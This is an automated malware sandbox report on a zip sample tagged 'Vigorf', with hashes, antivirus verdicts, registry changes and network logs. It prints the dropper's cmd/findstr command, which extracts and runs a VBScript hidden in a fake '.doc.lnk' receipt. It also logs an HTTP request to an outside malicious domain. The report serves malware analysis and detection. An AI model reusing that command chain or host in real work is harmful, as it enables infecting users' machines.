1NTzYGN5KMaTnTQyQz_T4c3oOqdJXE73X_2019-08-04_20_30.txt

* MalFamily: "Vigorf"

* MalScore: 10.0

* File Name: "1NTzYGN5KMaTnTQyQz_T4c3oOqdJXE73X"
* File Size: 3221
* File Type: "Zip archive data, at least v2.0 to extract"
* SHA256: "3b0b05e9c2871d8c1b18d40b30cecf34b35f52e2bba497dd4059e9465c9ea47f"
* MD5: "581a33fcea7b1f54967169c136e65a26"
* SHA1: "eb05cd90f5c52e50d801151a1544163f546a3d8e"
* SHA512: "b2f14b9668f0c951b9ec94f0cc505fe0f1c139d7e1f52184179707915bf2dc55d98cc02773ad8703889c2fa02bd2a677deccf0a9ca135ca674c834d0a9932f55"
* CRC32: "B2996C16"
* SSDEEP: "48:9w5mz1Mt9XP2M98KsOw9OBoIB++1uO1xwYMnsZmn4ZIo+gSkVXP+D8aJ1K:+5mZ2PH93sOw92omL9tZKCVXP+Dv1K"

* Process Execution:
    "cmd.exe",
    "cmd.exe",
    "findstr.exe",
    "wscript.exe"


* Executed Commands:
    "\"C:\\Windows\\System32\\cmd.exe\" /c uJpex & (findstr \"execu.*\" Receipt_542.doc.lnk > \"C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs\" & \"C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs\") & zyWPw",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Receipt_542.doc.lnk ",
    "findstr  \"execu.*\" Receipt_542.doc.lnk",
    "\"C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs\"",
    "\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs\"",
    "C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs "


* Signatures Detected:

        "Description": "Attempts to connect to a dead IP:Port (1 unique times)",
        "Details":

                "IP": "54.148.22.101:80"




        "Description": "Detected script timer window indicative of sleep style evasion",
        "Details":

                "Window": "WSH-Timer"




        "Description": "Reads data out of its own binary image",
        "Details":

                "self_read": "process: wscript.exe, pid: 2264, offset: 0x00000000, length: 0x00000040"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x000000f0, length: 0x00000018"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x000001e8, length: 0x00000078"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x00018000, length: 0x00000020"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x00018058, length: 0x00000018"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x000181a8, length: 0x00000018"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x00018470, length: 0x00000010"


                "self_read": "process: wscript.exe, pid: 2264, offset: 0x00018640, length: 0x00000012"




        "Description": "Performs some HTTP requests",
        "Details":

                "url": "http://www.infrusin.com/southpark.php"




        "Description": "File has been identified by 21 Antiviruses on VirusTotal as malicious",
        "Details":

                "FireEye": "Trojan.GenericKD.32213501"


                "McAfee": "Artemis!18A9A4BAB1A1"


                "Arcabit": "Trojan.Generic.D1EB89FD"


                "ESET-NOD32": "LNK/Agent.AJ"


                "TrendMicro-HouseCall": "TROJ_GEN.F04IE00GU19"


                "BitDefender": "Trojan.GenericKD.32213501"


                "AegisLab": "Trojan.ZIP.Generic.4!c"


                "Sophos": "Troj/LnkDrop-B"


                "Comodo": "Malware@#4ft4a7jz50un"


                "F-Secure": "Malware.VBS/Agent.GE"


                "TrendMicro": "TROJ_GEN.F04IE00GU19"


                "McAfee-GW-Edition": "Artemis!Trojan"


                "Emsisoft": "Trojan.GenericKD.32213501 (B)"


                "Avira": "VBS/Agent.GE"


                "Microsoft": "Trojan:Win32/Vigorf.A"


                "GData": "Win32.Trojan.Agent.TLMPVK"


                "VBA32": "Trojan.Link.DoubleRun"


                "Zoner": "Probably LNKScript"


                "Rising": "Trojan.Obfus/VBS!1.B96F (CLASSIC)"


                "Yandex": "Trojan.Etecer.bR2AF8.29"


                "Ikarus": "Trojan-Downloader.LNK.Agent"





* Started Service:

* Mutexes:
    "Local\\ZoneAttributeCacheCounterMutex",
    "Local\\ZonesCacheCounterMutex",
    "Local\\ZonesLockedCacheCounterMutex"


* Modified Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs"


* Deleted Files:
    "C:\\Users\\user\\AppData\\Local\\Temp\\oJnpL.vbs"


* Modified Registry Keys:
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect"


* Deleted Registry Keys:
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName"


* DNS Communications:

        "type": "A",
        "request": "www.infrusin.com",
        "answers":

                "data": "54.148.22.101",
                "type": "A"





* Domains:

        "ip": "54.148.22.101",
        "domain": "www.infrusin.com"



* Network Communication - ICMP:

* Network Communication - HTTP:

        "count": 1,
        "body": "",
        "uri": "http://www.infrusin.com/southpark.php",
        "user-agent": "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)",
        "method": "GET",
        "host": "www.infrusin.com",
        "version": "1.1",
        "path": "/southpark.php",
        "data": "GET /southpark.php HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\r\nHost: www.infrusin.com\r\n\r\n",
        "port": 80



* Network Communication - SMTP:

* Network Communication - Hosts:

* Network Communication - IRC: